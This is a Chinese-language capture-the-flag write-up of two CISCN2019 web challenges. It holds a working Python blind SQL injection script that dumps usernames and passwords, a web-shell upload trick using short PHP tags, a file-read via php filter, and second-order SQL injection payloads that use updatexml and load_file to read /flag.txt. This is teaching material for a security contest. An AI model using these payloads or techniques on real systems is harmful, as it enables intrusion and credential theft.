[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

1、打开页面,试了试,xml,sql注入都没试出来。

查看robots.txt文件,发现image-20220321201709362

再查看源码,发现了image.php,试一下

image.php.bak泄露

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

根据源码我们可以发现,两个get参数,经过了过滤。问题不大。

试一下报错:

image-20220321202157244

不行,那就盲注。

import requests
url='http://bc0fc102-e0c0-4930-a65f-177e029db728.node4.buuoj.cn:81/image.php'
flag=""

payload1 = "?id=\\0& path=or(ord(substr((select(database())),{},1))>{})%23"
payload2 = "?id=\\0& path=or(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})%23"
payload3 = "?id=\\0& path=or(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),{},1))>{})%23"
payload4 = "?id=\\0& path=or(ord(substr((select(group_concat(username,password))from(users)),{},1))>{})%23"
for i in range(1,1000):
    low =  32
    high = 128
    mid = (low + high)//2
    while(low<high):
        payload = payload4.format(i,mid)
        new_url= url+payload
        r= requests.get(new_url)
        if "JFIF" in r.text:
            low=mid+1
        else:
            high=mid

        mid = (low+high)//2
    if (mid == 32 or mid == 128):
        break
    flag +=chr(mid)
    print(flag)

print(flag)

得到账号密码

image-20220321202244845

然后发现了文件上传的地方

image-20220321202659432

尝试上传文件,果然不允许上传php文件,先传图片试试

image-20220321203509669

提示,讲文件名传入了log文件,那如果我们把文件名换成一句话木马是不是就可以了

image-20220321203620071

还是提示不让传php文件,但咱们传的是个代码。可能后端是通过判断是否存在php字符串的吧,那就换成短标签的形式上传。上传成功:

image-20220321203807551

是个代码。可能后端是通过判断是否存在php字符串的吧,那就换成短标签的形式上传。上传成功:

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

先查看源码:

image-20220316161758880

猜测可能用伪协议读取源码

image-20220316161907579

依次读取源码

index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

confirm.php

阅读confirm.php源码发现了过滤的地方,对user_name和phone都进行了严格的过滤。而address却只是转义了一下。如果user_name和phone参数没问题的话,address参数会被存到数据库中。

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

change.php

再看一下这边,过滤的参数和内容相同,但是会调用数据库中的旧参数。这下妥了,二次注入

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

首先构造好payload作为注册时的地址,当修改地址时,会触发sql注入,这里使用的是updatexml(),每次只能回显32为,所以分两次读取。

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,50)),0x7e),1)#

image-20220316164049403

然后连蚁剑就行。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值